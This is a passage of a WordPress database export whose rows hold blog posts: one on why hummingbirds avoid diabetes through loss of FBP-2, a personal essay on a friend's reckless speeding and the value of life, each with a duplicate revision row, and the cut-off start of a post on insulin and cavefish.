(415,1,'2024-06-12 16:05:11','2024-06-12 16:05:11','<!-- wp:paragraph -->\n<p>Question: why don’t hummingbirds get diabetes?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, hummingbirds drink straight sugar water all day, every day. Any other animal who tried to do that would get insulin resistance and diabetes (yes,&nbsp;<a href=\"https://bioone.org/journals/journal-of-avian-medicine-and-surgery/volume-22/issue-3/2007-056.1/Diabetes-Mellitus-in-a-Nanday-Conure-span-classgenus-speciesNandayus-nenday/10.1647/2007-056.1.short\">even birds</a>). So why not hummingbirds?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have an answer for you, but we’ll need to do a refresher first. And then the answer will reveal a mystery. You will be left hungry for more, much like someone with, well…some disease. Ready? Let’s begin!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Refresher first: when you’re hungry and you eat a hamburger, your body can’t use the hamburger directly for fuel. Instead, it has to convert the calories in the hamburger to usable fuel. Usually, this is through converting the calories to glucose through gluconeogenesis, which ends up being what we call “blood sugar”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once we have blood sugar, our body can use it immediately for fuel through glycolysis, store it short-term as glycogen in the liver and skeletal muscles, or store it long-term as fat<a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-1-137868166\">1</a>. Insulin is the main hormone that determines what happens to blood sugar, and insulin resistance (i.e. poor response to the insulin signal), caused by high levels of blood sugar for extended period of time, is what leads to type 2 diabetes. I explored the weird relationship between insulin resistance and weight loss in a previous post<a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-2-137868166\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the glucose does go through glycolysis, the product of glycolysis, pyruvate, is then used for aerobic respiration in the mitochondria, at least in mitochondrion-carrying organisms like people. This then eventually forms ATP, which is the final form of immediate, short-term energy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alright, done with the refresher. Add in a bunch more detail and make you memorize all the intermediate steps, and you’d be ready for the AP Biology exam. But, that stuff isn’t particularly fun. Let’s talk about the fun stuff: the mystery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Glycolysis is upstream of aerobic respiration. So, what would happen if we do a ton of glycolysis? Well, you might think, we’re going to have a ton of pyruvate and we’re going to do a ton of aerobic respiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s exactly what happens! In&nbsp;<a href=\"https://drive.google.com/file/d/1GMZc1p3ABpsiNLME3uD3x8vkluXt3KGx/view?usp=sharing\">a neat paper from this year</a>, scientists took a look at hummingbirds to try to answer our original question, “Why don’t hummingbirds get diabetes, given how much sugar they’re consuming?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As these scientists found out, it’s because hummingbirds don’t do gluconeogenesis, only glycolysis. That is, they never make glucose; they just use it. Hummingbirds can get away with this because they can do glycolysis directly from fructose, unlike any other animal that we know of.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hummingbirds don’t do gluconeogenesis because, over the course of evolution, they lost fructose-bisphosphatase 2 (FBP-2), which is necessary for gluconeogenesis. In vitro, when these same scientists knocked out FBP2, they found gluconeogenesis went down, glycolysis went up, and mitochondrial respiration went up. So far, so good!<br><br>They also found something a bit more interesting: FBP2 knockdown resulted in mitochondrial biogenesis (i.e. an increase in the number of mitochondria). This isn’t shocking in light of the whole increase in mitochondrial respiration thing, but it is interesting for me. I’m used to thinking about mitochondria in the context of neurodegeneration, where losing mitochondria is a really bad thing, and spinning up and down mitochondria at the metaphorical drop of a hat is strange to think about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, not crazy. FBP-2 knockout causes loss of gluconeogenesis, increase in glycolysis, increase in mitochondria, increase in mitochondrial respiration in hummingbirds observationally, and in vitro experimentally. Cool. I wonder what happens if we do the opposite? What if we upregulate FBP-2?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, then&nbsp;<a href=\"https://www.cell.com/cell-metabolism/article/S1550-4131(19)30568-6/fulltext\">we increase gluconeogenesis, inhibit glycolysis, mitochondrial biogenesis, and mitochondrial respiration</a>, at least in cancer cells. Cool, that works. This is all making sense. So, what if we just instead go ahead and inhibit glycolysis directly? That shouldn’t make a difference.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…shit.&nbsp;<a href=\"https://www.nature.com/articles/s41598-019-48676-2\">Direct inhibition of glycolysis during blood vessel formation via siRNA increases mitochondrial respiration</a>&nbsp;(and vice versa). That’s awkward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this isn’t inexplicable. In fact, the authors have a great explanation: cells need alternative pathways to produce energy. If there’s no glycolysis, cells still need to get energy somehow, so they end up working overtime in less efficient pathways to still get energy. And the authors do show that this has real consequences in that blood vessel formation is way more difficult when glycolysis is inhibited.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I do have sort of a problem with this. The FBP-2 upregulation explanation makes sense, and the direct inhibition explanation makes sense, but they both do seem difficult to coexist. To put in formal logic terms, we’re saying sometimes A causes B, and sometimes A causes not B, and it’s just the luck of the draw which one is which. It doesn’t seem super scientific.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I should probably point out that these scenarios aren’t exactly comparable. The upregulation of FBP-2 links to a paper about sarcomas that were using the hummingbird’s FBP-2 knockout trick to grow unnaturally fast, while the blood vessel formation paper is talking about a normal physiological process. So, I could unify these two with an analogy like candy bars and weight loss. If someone’s using candy bars (FBP-2 knockout and increase in glycolysis) as a pre weight lifting snack that allows them to lift more and lose more weight (increase mitochondrial respiration), taking away the candy bars will cause them to gain weight (decrease mitochondrial respiration). But, if someone’s using candy bars (increase in glycolysis) in day to day life, taking away the candy bars will cause them to lose weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as this analogy suggests, there is a missing step somewhere. Even though we thought we could focus on candy bars to explain weight gain or loss, we actually needed to think about the entire energy budget to see what the candy bars were being used for. This is not nearly as easy as just looking at someone’s candy bar consumption and weight loss. We went from two numbers that can be taken at a specific point in time to monitoring someone throughout their day or week.&nbsp; But, if this analogy holds, then in some sense, this is apparently how the cell is “thinking” about it. There’s some sense in which a cancer cell or a blood vessel knows what energy it needs and can take alternative paths to get it if one path is blocked. Cancer cells using FBP-2 tricks to grow really quickly do not think the same about energy as normal cells, and so the way they modulate their mitochondria is different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now that I’ve gone thoroughly out on a limb, I might also say that this suggests a way in which cells can mess up in misbudgeting their energy requirements. I don’t mean this in just the sense of cancer, but in the sense of somehow generating too much energy or not enough and then, presumably dying or generating harmful waste products that other surrounding cells will have to deal with. Hell, maybe that’s even at play in some of the neurodegenerative diseases I was discussing earlier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as I mentioned, this is definitely a limb that I am climbing out on. I really don’t know. The mystery remains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-anchor-1-137868166\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not an exhaustive list!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-anchor-2-137868166\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the previous post, I talked about how the relationship between insulin resistance and weight loss confuses me. My confusion was as follows: once you are insulin resistant, then insulin resistance has a pretty instantaneous correlation with weight loss. If you are insulin resistant and you start weight loss, insulin resistance goes away very quickly. If you are insulin resistant and you start gaining weight again, insulin resistance comes back very quickly. This all occurs even though the process of gaining weight or losing weight is slow, and even though the initial buildup of insulin resistance with weight gain is very slow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more weirdly, none of the usual suspects that you would want to blame for these quick changes in insulin resistance seem to matter. Specifically, you’d probably want to look at lipolysis, the destruction of fat cells, and lipogenesis, the creation of fat cells, as causes for these rapid changes in insulin resistance. But, both lipolysis and lipogenesis result in decreases in insulin resistance, so it’s not clear why gaining weight back would cause insulin resistance to increase again.</p>\n<!-- /wp:paragraph -->','Why don\'t hummingbirds get diabetes?','','publish','closed','closed','','why-dont-hummingbirds-get-diabetes','','','2024-06-12 16:05:11','2024-06-12 16:05:11','',0,'https://trevorklee.com/?page_id=415',0,'page','',0),
(416,1,'2024-06-12 16:05:11','2024-06-12 16:05:11','<!-- wp:paragraph -->\n<p>Question: why don’t hummingbirds get diabetes?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, hummingbirds drink straight sugar water all day, every day. Any other animal who tried to do that would get insulin resistance and diabetes (yes,&nbsp;<a href=\"https://bioone.org/journals/journal-of-avian-medicine-and-surgery/volume-22/issue-3/2007-056.1/Diabetes-Mellitus-in-a-Nanday-Conure-span-classgenus-speciesNandayus-nenday/10.1647/2007-056.1.short\">even birds</a>). So why not hummingbirds?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have an answer for you, but we’ll need to do a refresher first. And then the answer will reveal a mystery. You will be left hungry for more, much like someone with, well…some disease. Ready? Let’s begin!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Refresher first: when you’re hungry and you eat a hamburger, your body can’t use the hamburger directly for fuel. Instead, it has to convert the calories in the hamburger to usable fuel. Usually, this is through converting the calories to glucose through gluconeogenesis, which ends up being what we call “blood sugar”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once we have blood sugar, our body can use it immediately for fuel through glycolysis, store it short-term as glycogen in the liver and skeletal muscles, or store it long-term as fat<a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-1-137868166\">1</a>. Insulin is the main hormone that determines what happens to blood sugar, and insulin resistance (i.e. poor response to the insulin signal), caused by high levels of blood sugar for extended period of time, is what leads to type 2 diabetes. I explored the weird relationship between insulin resistance and weight loss in a previous post<a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-2-137868166\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the glucose does go through glycolysis, the product of glycolysis, pyruvate, is then used for aerobic respiration in the mitochondria, at least in mitochondrion-carrying organisms like people. This then eventually forms ATP, which is the final form of immediate, short-term energy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alright, done with the refresher. Add in a bunch more detail and make you memorize all the intermediate steps, and you’d be ready for the AP Biology exam. But, that stuff isn’t particularly fun. Let’s talk about the fun stuff: the mystery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Glycolysis is upstream of aerobic respiration. So, what would happen if we do a ton of glycolysis? Well, you might think, we’re going to have a ton of pyruvate and we’re going to do a ton of aerobic respiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s exactly what happens! In&nbsp;<a href=\"https://drive.google.com/file/d/1GMZc1p3ABpsiNLME3uD3x8vkluXt3KGx/view?usp=sharing\">a neat paper from this year</a>, scientists took a look at hummingbirds to try to answer our original question, “Why don’t hummingbirds get diabetes, given how much sugar they’re consuming?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As these scientists found out, it’s because hummingbirds don’t do gluconeogenesis, only glycolysis. That is, they never make glucose; they just use it. Hummingbirds can get away with this because they can do glycolysis directly from fructose, unlike any other animal that we know of.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hummingbirds don’t do gluconeogenesis because, over the course of evolution, they lost fructose-bisphosphatase 2 (FBP-2), which is necessary for gluconeogenesis. In vitro, when these same scientists knocked out FBP2, they found gluconeogenesis went down, glycolysis went up, and mitochondrial respiration went up. So far, so good!<br><br>They also found something a bit more interesting: FBP2 knockdown resulted in mitochondrial biogenesis (i.e. an increase in the number of mitochondria). This isn’t shocking in light of the whole increase in mitochondrial respiration thing, but it is interesting for me. I’m used to thinking about mitochondria in the context of neurodegeneration, where losing mitochondria is a really bad thing, and spinning up and down mitochondria at the metaphorical drop of a hat is strange to think about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, not crazy. FBP-2 knockout causes loss of gluconeogenesis, increase in glycolysis, increase in mitochondria, increase in mitochondrial respiration in hummingbirds observationally, and in vitro experimentally. Cool. I wonder what happens if we do the opposite? What if we upregulate FBP-2?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, then&nbsp;<a href=\"https://www.cell.com/cell-metabolism/article/S1550-4131(19)30568-6/fulltext\">we increase gluconeogenesis, inhibit glycolysis, mitochondrial biogenesis, and mitochondrial respiration</a>, at least in cancer cells. Cool, that works. This is all making sense. So, what if we just instead go ahead and inhibit glycolysis directly? That shouldn’t make a difference.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…shit.&nbsp;<a href=\"https://www.nature.com/articles/s41598-019-48676-2\">Direct inhibition of glycolysis during blood vessel formation via siRNA increases mitochondrial respiration</a>&nbsp;(and vice versa). That’s awkward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this isn’t inexplicable. In fact, the authors have a great explanation: cells need alternative pathways to produce energy. If there’s no glycolysis, cells still need to get energy somehow, so they end up working overtime in less efficient pathways to still get energy. And the authors do show that this has real consequences in that blood vessel formation is way more difficult when glycolysis is inhibited.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I do have sort of a problem with this. The FBP-2 upregulation explanation makes sense, and the direct inhibition explanation makes sense, but they both do seem difficult to coexist. To put in formal logic terms, we’re saying sometimes A causes B, and sometimes A causes not B, and it’s just the luck of the draw which one is which. It doesn’t seem super scientific.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I should probably point out that these scenarios aren’t exactly comparable. The upregulation of FBP-2 links to a paper about sarcomas that were using the hummingbird’s FBP-2 knockout trick to grow unnaturally fast, while the blood vessel formation paper is talking about a normal physiological process. So, I could unify these two with an analogy like candy bars and weight loss. If someone’s using candy bars (FBP-2 knockout and increase in glycolysis) as a pre weight lifting snack that allows them to lift more and lose more weight (increase mitochondrial respiration), taking away the candy bars will cause them to gain weight (decrease mitochondrial respiration). But, if someone’s using candy bars (increase in glycolysis) in day to day life, taking away the candy bars will cause them to lose weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as this analogy suggests, there is a missing step somewhere. Even though we thought we could focus on candy bars to explain weight gain or loss, we actually needed to think about the entire energy budget to see what the candy bars were being used for. This is not nearly as easy as just looking at someone’s candy bar consumption and weight loss. We went from two numbers that can be taken at a specific point in time to monitoring someone throughout their day or week.&nbsp; But, if this analogy holds, then in some sense, this is apparently how the cell is “thinking” about it. There’s some sense in which a cancer cell or a blood vessel knows what energy it needs and can take alternative paths to get it if one path is blocked. Cancer cells using FBP-2 tricks to grow really quickly do not think the same about energy as normal cells, and so the way they modulate their mitochondria is different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And now that I’ve gone thoroughly out on a limb, I might also say that this suggests a way in which cells can mess up in misbudgeting their energy requirements. I don’t mean this in just the sense of cancer, but in the sense of somehow generating too much energy or not enough and then, presumably dying or generating harmful waste products that other surrounding cells will have to deal with. Hell, maybe that’s even at play in some of the neurodegenerative diseases I was discussing earlier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as I mentioned, this is definitely a limb that I am climbing out on. I really don’t know. The mystery remains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-anchor-1-137868166\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not an exhaustive list!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-dont-hummingbirds-get-diabetes#footnote-anchor-2-137868166\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the previous post, I talked about how the relationship between insulin resistance and weight loss confuses me. My confusion was as follows: once you are insulin resistant, then insulin resistance has a pretty instantaneous correlation with weight loss. If you are insulin resistant and you start weight loss, insulin resistance goes away very quickly. If you are insulin resistant and you start gaining weight again, insulin resistance comes back very quickly. This all occurs even though the process of gaining weight or losing weight is slow, and even though the initial buildup of insulin resistance with weight gain is very slow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more weirdly, none of the usual suspects that you would want to blame for these quick changes in insulin resistance seem to matter. Specifically, you’d probably want to look at lipolysis, the destruction of fat cells, and lipogenesis, the creation of fat cells, as causes for these rapid changes in insulin resistance. But, both lipolysis and lipogenesis result in decreases in insulin resistance, so it’s not clear why gaining weight back would cause insulin resistance to increase again.</p>\n<!-- /wp:paragraph -->','Why don\'t hummingbirds get diabetes?','','inherit','closed','closed','','415-revision-v1','','','2024-06-12 16:05:11','2024-06-12 16:05:11','',415,'https://trevorklee.com/?p=416',0,'revision','',0),
(417,1,'2024-06-12 16:06:39','2024-06-12 16:06:39','<!-- wp:paragraph -->\n<p>When I was in high school, one of my best friends had a Volkswagen Jetta that his parents bought him. It was not a particularly nice car, but it wasn’t a terrible car either. My friend used to take this car out late at night and race it down the highways and over the Gold Star Memorial Bridge. He told me that he got his car up to speeds of 120 miles per hour on those dark roads, the lights of the city glinting off the windshield as the lane markers disappeared into a blur. I don’t know if I believe him that his car ever got up to those speeds, but that is what he told me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t know why he raced his car like that. He didn’t have a death wish, as far as I could tell. He was otherwise a model young man: a nice kid with a top-notch GPA, a real knack for sailing (yes, I went to a private school), and a girlfriend who he definitely thought he loved. But, nevertheless, he regularly endangered himself and everyone else who happened to be on the road at the same time as him for no reason other than his own entertainment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given the way I’ve set up this anecdote, it probably would be most impactful if I ended it with something like, “And one day he lost control, spun out, and crashed. Jeeze, I miss him.” But, unfortunately for my story and fortunately in literally every other way, that never happened. He never faced any consequences for his racing. He never crashed his car or hurt himself or someone else. As far as I know, he never even got a speeding ticket. And, last I heard, he’s a married engineer with a house somewhere in the greater Boston area who presumably drives at around the speed limit, although we’ve lost contact so I can’t be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of us did stupid things like that in high school. We raced cars, drank too much, bought drugs from strangers, stole petty items for fun, antagonized cops. Most of us got away without too many lasting consequences. Some of us didn’t. A couple of us didn’t get away at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, most of us did get away. My friend certainly did. So I’m not sure why his particular stupid action sticks in my mind, except that I think about it every now and again when I see people speeding. Every time I think about it, it honestly makes me upset. In high school, it seemed a little stupid, but, ultimately, a tradeoff between excitement and safety that it was his prerogative to make. Now that I’m almost twice the age I was then, it seems so much worse. Not only did he obviously not have the right to risk other people’s lives, he didn’t even have the right to risk himself. I mean, he was 16, and he was going to die over… yay car go fast?&nbsp; Would that be fair to his parents and his grandparents, who doted on him as an only child? Would it be fair to his friends? Would that be fair to his future self, destined to live a sedate life in the greater Boston metro area?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you just don’t think like that as a young man. The life that everyone has invested so much to give you seems cheap and meaningless. School and work and hobbies and expectations and obligations seem like a cage, and you just want to rattle them by any means necessary, throw yourself against the bars and see if they give way or you do. You’re not old enough yet to be nostalgic, or to see how good you have it even if some parts suck, or to appreciate just how much went into the mundane life you take for granted. Your life seems pointless, and other people’s do, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this recently in the realm of the news recently. I hate wading into politics, and I don’t think my take is going to add anything to the reams of pointless ink that have already been spilt. All I’d say is that when I was younger, I think I had a lot more tolerance for death and destruction and dying for a cause or for no cause at all. Now, it all seems sad and very rarely worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I’ve realized that life is precious. It’s a cliche but that doesn’t make it any less meaningful. People living happy, peaceful lives with their loved ones is generally good, and anything that threatens that is, in general, bad. It would have to take clearing an extraordinarily high bar to find exceptions to those generalities, and almost anything that people usually use as an exception to those generalities doesn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And maybe it’s offensive to compare the noble causes that other young men are dying and killing for to my friend’s need for speed. Those young men are probably very certain that their cause is an exception to my generalities about killing and dying being bad, and they certainly have plenty of older, purportedly wiser people who tell them that it is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But so did my friend, believe it or not (you didn’t think&nbsp;<em>Top Gear</em>&nbsp;or&nbsp;<em>Need for Speed</em>&nbsp;or&nbsp;<em>The Fast and the Furious</em>&nbsp;were supposed to be purely fantastical, did you?). And all I can think is how stupid it would have been if he had died “doing what he loved” or killed someone for “what he believed in”, and how much worse it all would have been.</p>\n<!-- /wp:paragraph -->','On the preciousness of life','','publish','closed','closed','','on-the-preciousness-of-life','','','2024-06-12 16:06:39','2024-06-12 16:06:39','',0,'https://trevorklee.com/?page_id=417',0,'page','',0),
(418,1,'2024-06-12 16:06:39','2024-06-12 16:06:39','<!-- wp:paragraph -->\n<p>When I was in high school, one of my best friends had a Volkswagen Jetta that his parents bought him. It was not a particularly nice car, but it wasn’t a terrible car either. My friend used to take this car out late at night and race it down the highways and over the Gold Star Memorial Bridge. He told me that he got his car up to speeds of 120 miles per hour on those dark roads, the lights of the city glinting off the windshield as the lane markers disappeared into a blur. I don’t know if I believe him that his car ever got up to those speeds, but that is what he told me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t know why he raced his car like that. He didn’t have a death wish, as far as I could tell. He was otherwise a model young man: a nice kid with a top-notch GPA, a real knack for sailing (yes, I went to a private school), and a girlfriend who he definitely thought he loved. But, nevertheless, he regularly endangered himself and everyone else who happened to be on the road at the same time as him for no reason other than his own entertainment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given the way I’ve set up this anecdote, it probably would be most impactful if I ended it with something like, “And one day he lost control, spun out, and crashed. Jeeze, I miss him.” But, unfortunately for my story and fortunately in literally every other way, that never happened. He never faced any consequences for his racing. He never crashed his car or hurt himself or someone else. As far as I know, he never even got a speeding ticket. And, last I heard, he’s a married engineer with a house somewhere in the greater Boston area who presumably drives at around the speed limit, although we’ve lost contact so I can’t be sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of us did stupid things like that in high school. We raced cars, drank too much, bought drugs from strangers, stole petty items for fun, antagonized cops. Most of us got away without too many lasting consequences. Some of us didn’t. A couple of us didn’t get away at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, most of us did get away. My friend certainly did. So I’m not sure why his particular stupid action sticks in my mind, except that I think about it every now and again when I see people speeding. Every time I think about it, it honestly makes me upset. In high school, it seemed a little stupid, but, ultimately, a tradeoff between excitement and safety that it was his prerogative to make. Now that I’m almost twice the age I was then, it seems so much worse. Not only did he obviously not have the right to risk other people’s lives, he didn’t even have the right to risk himself. I mean, he was 16, and he was going to die over… yay car go fast?&nbsp; Would that be fair to his parents and his grandparents, who doted on him as an only child? Would it be fair to his friends? Would that be fair to his future self, destined to live a sedate life in the greater Boston metro area?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you just don’t think like that as a young man. The life that everyone has invested so much to give you seems cheap and meaningless. School and work and hobbies and expectations and obligations seem like a cage, and you just want to rattle them by any means necessary, throw yourself against the bars and see if they give way or you do. You’re not old enough yet to be nostalgic, or to see how good you have it even if some parts suck, or to appreciate just how much went into the mundane life you take for granted. Your life seems pointless, and other people’s do, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this recently in the realm of the news recently. I hate wading into politics, and I don’t think my take is going to add anything to the reams of pointless ink that have already been spilt. All I’d say is that when I was younger, I think I had a lot more tolerance for death and destruction and dying for a cause or for no cause at all. Now, it all seems sad and very rarely worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I’ve realized that life is precious. It’s a cliche but that doesn’t make it any less meaningful. People living happy, peaceful lives with their loved ones is generally good, and anything that threatens that is, in general, bad. It would have to take clearing an extraordinarily high bar to find exceptions to those generalities, and almost anything that people usually use as an exception to those generalities doesn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And maybe it’s offensive to compare the noble causes that other young men are dying and killing for to my friend’s need for speed. Those young men are probably very certain that their cause is an exception to my generalities about killing and dying being bad, and they certainly have plenty of older, purportedly wiser people who tell them that it is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But so did my friend, believe it or not (you didn’t think&nbsp;<em>Top Gear</em>&nbsp;or&nbsp;<em>Need for Speed</em>&nbsp;or&nbsp;<em>The Fast and the Furious</em>&nbsp;were supposed to be purely fantastical, did you?). And all I can think is how stupid it would have been if he had died “doing what he loved” or killed someone for “what he believed in”, and how much worse it all would have been.</p>\n<!-- /wp:paragraph -->','On the preciousness of life','','inherit','closed','closed','','417-revision-v1','','','2024-06-12 16:06:39','2024-06-12 16:06:39','',417,'https://trevorklee.com/?p=418',0,'revision','',0),
(419,1,'2024-06-12 16:07:41','2024-06-12 16:07:41','<!-- wp:paragraph -->\n<p>I have something to confess about myself. I have a pernicious prejudice hidden deep within me that colors my perception of the world. I was probably born with it, I was definitely raised with it, and now, it’s so deeply embedded within me that I don’t think I’ll ever get it out. You see, I’m anthropocentric.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know what you’re going to say: “How can you be so anthropocentric? Don’t you know that humans are only one species out of millions on this planet? And besides, don’t you run a company making drugs for cats?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’re right. I do run a company making drugs for cats. I should be able to think about other animals at the same level as humans. And yet, I still think of our lead drug, a cyclosporine formulation, as a human drug, even though it’s really just a natural product derived from fungus that’s just as “human” as it is cat, mouse, horse, or whatever animal is dosed with it. I am ashamed of this bias. I think if my company’s investors can find a qualified cat to bring on board, I’d be happy to accept them as a cofounder or at least an advisor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t bring this up just to flagellate myself, though. I bring this up to introduce an interesting paper that I found recently that reveals some of my anthropocentric bias. As you likely recall, I’ve recently been writing quite a bit about insulin, glucose, and metabolism. I started with my confusion that insulin resistance and weight loss have a surprisingly rapid response to one another, then discussed the fascinating adaptations hummingbirds have to a high glucose diet that helps them avoid diabetes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Looking back at both pieces, one thing I notice is that I can’t help but think of insulin as a “human” hormone. So, I see how insulin resistance and weight loss work in humans, and I think, “Why did insulin evolve to work that way in humans?” Or, I see how glucose metabolism works in hummingbirds, and I think, “That’s a weird variation on insulin and glucose.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s the wrong way to think about it. Insulin is an ancient molecule that is everywhere across the animal kingdom, from insects to apes, and it’s even present in some fungi and protists. Insulin didn’t evolve for humans and it didn’t evolve for hummingbirds. We’re both just borrowing an old tool for our own ends.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This comes into stark focus when we take a look at how other organisms use and abuse insulin to control fat metabolism in much harsher circumstances than humans ever face. You see, humans have it pretty easy when it comes to metabolism. We eat regularly. I mean, we have to. If we go much more than a month without food, we die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s because we have evolved in habitats where potential food surrounds us. On the other hand, imagine what it’s like to be a cavefish. Not only do you live in complete darkness all of the time, both because you live in a cave and because you don’t have any eyes, you also literally never get any plants to eat and neither does any organism around you<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese#footnote-1-138451012\">1</a>. Your only food sources are bat droppings, the rare smaller creature that happens to bump into you, and the occasional seasonal flood bonanza.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e85ff8-1df7-4ebd-9e8f-a35a9b7606dd_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img 